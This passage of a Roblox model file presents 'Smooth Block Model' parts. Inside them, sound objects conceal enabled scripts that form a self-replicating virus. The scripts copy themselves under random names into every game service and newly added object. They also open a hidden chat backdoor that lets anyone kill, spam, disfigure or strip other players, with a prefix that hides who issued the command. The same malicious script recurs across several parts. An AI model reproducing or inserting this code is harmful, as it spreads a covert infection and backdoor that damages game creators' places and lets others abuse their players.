game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX182">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-5.5</X>
						<Y>3.60000014</Y>
						<Z>-0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>6</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX183">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9wwvvg9i</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX184">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ijo2</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX185">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-5.5</X>
						<Y>3.60000014</Y>
						<Z>-18.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>6</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX186">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">0563vk2</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX187">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">tyo9</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
